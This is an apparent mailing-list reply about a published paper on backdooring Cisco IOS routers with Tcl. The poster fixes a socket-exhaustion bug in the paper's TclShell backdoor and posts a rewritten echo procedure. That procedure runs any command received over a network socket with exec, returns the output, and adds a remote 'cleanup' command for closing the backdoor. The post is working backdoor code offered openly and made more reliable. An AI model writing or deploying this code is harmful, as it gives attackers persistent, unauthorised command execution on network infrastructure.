Re: Creating Backdoors in Cisco IOS using Tcl

[michael () cleverly com]

A quick comment on the TclShell source code (v0.1) included in 
http://www.irmplc.com/content/pdfs/Creating_Backdoors_in_Cisco_IOS_using_Tcl.pdf

The echo procedure fails to close the client socket on EOF.  This will cause the readable fileevent to trigger 
repeatedly consuming CPU and never freeing the socket.  As the Tcl interpreter on Cisco devices has a relatively small 
number of sockets (255 total system wide if memory serves) repeated connections to the backdoor would exhaust all 
available (to Tcl) sockets on the device effectively DoS'ing other Tcl scripts and probes running.

I'd recommend rewriting the echo proc as:

proc echo {sock} {
    global var

    if {[catch {gets $sock line}] || 
        [eof $sock]} {
        return [close $sock]
    }

    # allow a special command to "clean up"
    if {$line == "cleanup"} {
        set var done
        puts $sock "(closing backdoor...)"
        return [close $sock]
    }

    catch {exec $line} result
    if {[catch {puts $sock $result}]} {
        return [close $sock]
    }
}

The above version makes sure sockets are closed when they should be.  It also takes advantage of the "vwait var" 
already present in the script (which kicks off the event loop and allows incoming connections to be processed) and 
provides a method to remotely close the backdoor once it is no longer wanted. I suspect something like this was 
intended in the original version since the original echo proc calls "global var" despite never doing anything with the 
variable var afterwards.